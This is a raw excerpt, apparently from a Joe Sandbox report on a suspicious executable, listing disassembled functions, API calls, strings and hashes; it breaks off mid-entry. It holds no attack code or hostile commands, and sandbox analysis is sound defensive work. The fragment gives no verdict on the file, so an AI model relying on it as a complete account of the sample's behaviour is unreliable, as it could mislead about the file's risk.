                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _free$ErrorFreeHeapLast
                                                              • String ID:
                                                              • API String ID: 776569668-0
                                                              • Opcode ID: de1e92d43b430beacfa95cd88f8357655c16fcec7ccef53632fe97ea167b9e0a
                                                              • Instruction ID: 1c0478be162acb00c592f029dedff9bd09b4a485e426898bdac7c5a7b9a51290
                                                              • Opcode Fuzzy Hash: de1e92d43b430beacfa95cd88f8357655c16fcec7ccef53632fe97ea167b9e0a
                                                              • Instruction Fuzzy Hash: AEF0FF73505240EB8A20EB58F4C6C16B7DAEA4671075D0C05F518E7A41CBB5FD80C7B0
                                                              Function 00D9F7C0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 00D9F7DE
                                                                • Part of subcall function 00DA03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?), ref: 00DA03EA
                                                                • Part of subcall function 00DA03D4: GetLastError.KERNEL32(?,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?,?), ref: 00DA03FC
                                                              • _free.LIBCMT ref: 00D9F7F0
                                                              • _free.LIBCMT ref: 00D9F803
                                                              • _free.LIBCMT ref: 00D9F814
                                                              • _free.LIBCMT ref: 00D9F825
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _free$ErrorFreeHeapLast
                                                              • String ID:
                                                              • API String ID: 776569668-0
                                                              • Opcode ID: 743873bc672443e10446bcd4c524db18cfd3a072aeb3b02f71f4d0d0ea613102
                                                              • Instruction ID: b0ca77946f7badaffd330b545d11a767da36b7ac938089507aece4c0d6bf328c
                                                              • Opcode Fuzzy Hash: 743873bc672443e10446bcd4c524db18cfd3a072aeb3b02f71f4d0d0ea613102
                                                              • Instruction Fuzzy Hash: E0F03A71801363EB9B11AF24BC128187FA1FB167243090A1AF419E27B5C77AA812CBF1
                                                              Function 00D92F8D Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 350COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _wcslen.LIBCMT ref: 00D931A4
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _wcslen
                                                              • String ID: .lnk$0$lnk
                                                              • API String ID: 176396367-906397761
                                                              • Opcode ID: c7dc19ab0db4c8b0f5f4674f090d0b2f04ee98ac116e9986ec4e6f7ea5f2d048
                                                              • Instruction ID: 6e807b3379f17166594578cd3f6e6ea6d88b2f945357b8b591b6d2a13cb8792a
                                                              • Opcode Fuzzy Hash: c7dc19ab0db4c8b0f5f4674f090d0b2f04ee98ac116e9986ec4e6f7ea5f2d048
                                                              • Instruction Fuzzy Hash: CAE1F771D002589EDF24EBA8CC85BDDB7B8EF08300F5445AAE549A7251EB749B88CF70
                                                              Function 00D92B26 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 291COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetTempPathW.KERNEL32(00000105,00000000,00000000,0000020A), ref: 00D92B66
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                                • Part of subcall function 00D80BF3: _wcslen.LIBCMT ref: 00D80C03
                                                              • EndDialog.USER32(?,00000001), ref: 00D92EDA
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _wcslen$DialogPathTemp
                                                              • String ID: $@set:user
                                                              • API String ID: 2172748170-1503366402
                                                              • Opcode ID: c7dd103d5deb75c668b105b3b46c0487d8c04ec491e1e285d2d8b3d186b2e035
                                                              • Instruction ID: fe405a9e82ae0917ee49239f0dec0fbd71ffa0f8c56ddaea17d37ced5bae5ee3
                                                              • Opcode Fuzzy Hash: c7dd103d5deb75c668b105b3b46c0487d8c04ec491e1e285d2d8b3d186b2e035
                                                              • Instruction Fuzzy Hash: 45C14B70D01299AADF20EBA4DC45BEDBBB4EF15304F44419AE449B3292EB705B89CF71
                                                              Function 00D91F82 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D81309: __EH_prolog3.LIBCMT ref: 00D81310
                                                                • Part of subcall function 00D81309: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00D817FB,?,?,\\?\,562D4312,?,?,?,00000000,00DAA279,000000FF), ref: 00D81319
                                                                • Part of subcall function 00D81AD1: __EH_prolog3_GS.LIBCMT ref: 00D81AD8
                                                                • Part of subcall function 00D7F763: __EH_prolog3_GS.LIBCMT ref: 00D7F76A
                                                                • Part of subcall function 00D7F58B: __EH_prolog3_GS.LIBCMT ref: 00D7F592
                                                                • Part of subcall function 00D7F58B: SetFileAttributesW.KERNELBASE(?,?,00000024,00D7A724,?,?,?,00000011,?,?,00000000,?,?,?,?,?), ref: 00D7F5A8
                                                                • Part of subcall function 00D7F58B: SetFileAttributesW.KERNEL32(?,?,?,?,?,00D7D303,?,?,?,?,?,?,?,562D4312,00000049), ref: 00D7F5EB
                                                              • SHFileOperationW.SHELL32(?,00000000,?,?,?,00000000), ref: 00D92137
                                                              • MoveFileW.KERNEL32(?,?), ref: 00D922BE
                                                              • MoveFileExW.KERNEL32(?,00000000,00000004), ref: 00D922D8
                                                                • Part of subcall function 00D814CC: __EH_prolog3_GS.LIBCMT ref: 00D814D3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: File$H_prolog3_$AttributesMove$CurrentDirectoryH_prolog3Operation
                                                              • String ID: .tmp
                                                              • API String ID: 1688541384-2986845003
                                                              • Opcode ID: 28d0fd2a849e9a4fae43ea8c3fe31419677d2a708a715240588e4c39d88fe568
                                                              • Instruction ID: a25662dd1c9fb5426fc4ac4901323016455677fafa5241080b334b26b0af96b2
                                                              • Opcode Fuzzy Hash: 28d0fd2a849e9a4fae43ea8c3fe31419677d2a708a715240588e4c39d88fe568
                                                              • Instruction Fuzzy Hash: F9C1C1758002689ADF65EBA8CC85BDDB7B8BF09300F5441EAE54DA2251EB345B89CF31
                                                              Function 00D7A300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7A307
                                                              • GetLastError.KERNEL32(00000054,?,?,?,?,?,00D7D303,?,?,?,?,?,?,?,562D4312,00000049), ref: 00D7A427
                                                                • Part of subcall function 00D7AC11: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D7AC2E
                                                                • Part of subcall function 00D7AC11: GetLastError.KERNEL32 ref: 00D7AC72
                                                                • Part of subcall function 00D7AC11: CloseHandle.KERNEL32(?), ref: 00D7AC81
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$CloseCurrentH_prolog3_HandleProcess
                                                              • String ID: SeRestorePrivilege$SeSecurityPrivilege
                                                              • API String ID: 2235100918-639343689
                                                              • Opcode ID: 1b2476807bb97fc1ad47a4711c0fcfb3a8b340423e18ffcdacf9bd9a4da88dd0
                                                              • Instruction ID: 14a089d5e0d17545e4215604da6ba118bfa58230a29decba2e3757dba0aa667a
                                                              • Opcode Fuzzy Hash: 1b2476807bb97fc1ad47a4711c0fcfb3a8b340423e18ffcdacf9bd9a4da88dd0
                                                              • Instruction Fuzzy Hash: 49412D71D14208EBDF15EFE8E885AEDB7B4EB49314F04802AF509B7341EB7599448B36
                                                              Function 00D9EE2A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\qPLzfnxGbj.exe,00000104), ref: 00D9EE6A
                                                              • _free.LIBCMT ref: 00D9EF35
                                                              • _free.LIBCMT ref: 00D9EF3F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _free$FileModuleName
                                                              • String ID: C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                              • API String ID: 2506810119-150725132
                                                              • Opcode ID: 87f59060441ed633e6d4868925eda2a7f418eb5998b657c3ca8e3009cb8452f1
                                                              • Instruction ID: 0cd39a9e1033f7b8525cb7a686222c69328faccb4a862fc11e9d9b2f9bdc234f
                                                              • Opcode Fuzzy Hash: 87f59060441ed633e6d4868925eda2a7f418eb5998b657c3ca8e3009cb8452f1
                                                              • Instruction Fuzzy Hash: 85314971A04359AFCF21DF999885DAEBBF8EF85314B1840AAF804E7251D7719A40CBB1
                                                              Function 00D99E56 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00D99E7B
                                                              • _abort.LIBCMT ref: 00D99F86
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: EncodePointer_abort
                                                              • String ID: MOC$RCC
                                                              • API String ID: 948111806-2084237596
                                                              • Opcode ID: e66c659a28133b5a12bc861176c1283f6056acf87b0029d8973520367255ef4a
                                                              • Instruction ID: c87a0cd5c563438693973d9515fc1b4b4c1a90b97459fd9abd30875c58e7dfeb
                                                              • Opcode Fuzzy Hash: e66c659a28133b5a12bc861176c1283f6056acf87b0029d8973520367255ef4a
                                                              • Instruction Fuzzy Hash: C6414771900209AFCF15DF98CD91AEEFBB5FF48304F188199FA05A7261D3369951DB60
                                                              Function 00D8338E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __fprintf_l.LIBCMT ref: 00D8340E
                                                              • _strncpy.LIBCMT ref: 00D83459
                                                                • Part of subcall function 00D889ED: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000050,?,00000000,00000000,00DBE088,?,00000007,00D833E2,?,?,00000050,562D4312), ref: 00D88A0A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide__fprintf_l_strncpy
                                                              • String ID: $%s$@%s
                                                              • API String ID: 562999700-834177443
                                                              • Opcode ID: 342a1bb3d0337c5a813daf1a944f7fbf2d61cd7407a0216990e2b65cc20d9bc1
                                                              • Instruction ID: c601d07ca87dea7e85b9880b5c32eb21e92d9b9a4b2472907fc811fb2fe4d79f
                                                              • Opcode Fuzzy Hash: 342a1bb3d0337c5a813daf1a944f7fbf2d61cd7407a0216990e2b65cc20d9bc1
                                                              • Instruction Fuzzy Hash: FB216D72500709AFDB11EEACCD45EAE7BA8FB05B10F080525FA18D7291EB31EA158B70
                                                              Function 00D8F8F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D8F8F7
                                                                • Part of subcall function 00D71E44: GetDlgItem.USER32(00000000,00003021), ref: 00D71E88
                                                                • Part of subcall function 00D71E44: SetWindowTextW.USER32(00000000,00DAC6C8), ref: 00D71E9E
                                                              • EndDialog.USER32(?,00000001), ref: 00D8F99F
                                                              • SetDlgItemTextW.USER32(?,00000066,00000000), ref: 00D8F9E1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ItemText$DialogH_prolog3_Window
                                                              • String ID: ASKNEXTVOL
                                                              • API String ID: 2321058237-3402441367
                                                              • Opcode ID: d7ef368a1b91bb1754760377af88f21f53e3bec6e3340d9bf9a580593f5be820
                                                              • Instruction ID: 1cc26fed8c343c8bb943fb1cd2bd576e5601b516e4d306699e6a2e203cd28d3b
                                                              • Opcode Fuzzy Hash: d7ef368a1b91bb1754760377af88f21f53e3bec6e3340d9bf9a580593f5be820
                                                              • Instruction Fuzzy Hash: 99210635640206BFDB15FBA8DC4AFAD37A8EB1A300F144025F545DB2A5C671AA45CF36
                                                              Function 00D87445 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00D7FEBD,00000008,00000004,00D82D42,?,?,?,?,00000000,00D8ABB6,?), ref: 00D87484
                                                              • CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00D7FEBD,00000008,00000004,00D82D42,?,?,?,?,00000000), ref: 00D8748E
                                                              • CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00D7FEBD,00000008,00000004,00D82D42,?,?,?,?,00000000), ref: 00D8749E
                                                              Strings
                                                              • Thread pool initialization failed., xrefs: 00D874B6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Create$CriticalEventInitializeSectionSemaphore
                                                              • String ID: Thread pool initialization failed.
                                                              • API String ID: 3340455307-2182114853
                                                              • Opcode ID: 2b18a0b616b8c5860cbab2bec605cab5c6141c227481f6e93bbdfd2f1ea02f1a
                                                              • Instruction ID: bd27b94c493eb330852a21d0340c161bc7d56010efb7794838a4691e77cf1b98
                                                              • Opcode Fuzzy Hash: 2b18a0b616b8c5860cbab2bec605cab5c6141c227481f6e93bbdfd2f1ea02f1a
                                                              • Instruction Fuzzy Hash: D01191B1604709AFD3216F6A9C849A7FFECEB55754F24482EF1DAC2300D6B099808B74
                                                              Function 00D9406A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: RENAMEDLG$REPLACEFILEDLG
                                                              • API String ID: 0-56093855
                                                              • Opcode ID: ca87b66a286a7a89629aafdf82f8b29e7a8cdd5208b5c3b017602fba77a78274
                                                              • Instruction ID: 7fb8b2622abb56ff9e1ad5d8317f077ea6dc6de8964f2aa676e1a9d39f9c5030
                                                              • Opcode Fuzzy Hash: ca87b66a286a7a89629aafdf82f8b29e7a8cdd5208b5c3b017602fba77a78274
                                                              • Instruction Fuzzy Hash: 4C115E35704303AFDB109F18EC44D167BE9EB59391B044829F646C3325C671A885DF71
                                                              Function 00D9A892 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00D9A843,00000000,?,00DC6150,?,?,?,00D9A9E6,00000004,InitializeCriticalSectionEx,00DAF7F4,InitializeCriticalSectionEx), ref: 00D9A89F
                                                              • GetLastError.KERNEL32(?,00D9A843,00000000,?,00DC6150,?,?,?,00D9A9E6,00000004,InitializeCriticalSectionEx,00DAF7F4,InitializeCriticalSectionEx,00000000,?,00D9A79D), ref: 00D9A8A9
                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00D9A8D1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: LibraryLoad$ErrorLast
                                                              • String ID: api-ms-
                                                              • API String ID: 3177248105-2084034818
                                                              • Opcode ID: 9a9c561ec324d58666ad367a687de4559145d96220ad5980719e3840edb7b94a
                                                              • Instruction ID: 29d9be4f692e7c42755a1ac9dde633cee3ff816e3ba42778e3300d396e84db14
                                                              • Opcode Fuzzy Hash: 9a9c561ec324d58666ad367a687de4559145d96220ad5980719e3840edb7b94a
                                                              • Instruction Fuzzy Hash: F9E04F31280305BBEF201BA0EC0AB183A59AB11BA1F140530F90DE85E0DB61D8119AFA
                                                              Function 00DA07EA Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: __alldvrm$_strrchr
                                                              • String ID:
                                                              • API String ID: 1036877536-0
                                                              • Opcode ID: 1ec6666d94b4212580304211626675eb5ed9854efa503107affec4ce99a0ac8c
                                                              • Instruction ID: a5e12a2a4ada2b30f740f0847e206dc66b69a2ccaf50fdc658495e85c7891bea
                                                              • Opcode Fuzzy Hash: 1ec6666d94b4212580304211626675eb5ed9854efa503107affec4ce99a0ac8c
                                                              • Instruction Fuzzy Hash: 0EA13572E047869FEB11DF28C8917AEBFE4EF56350F1C4169E5959B282C6388D41CBB0
                                                              Function 00DA3638 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00DA0481,?,00000000,?,00000001,?,?,00000001,00DA0481,?), ref: 00DA3685
                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00DA370E
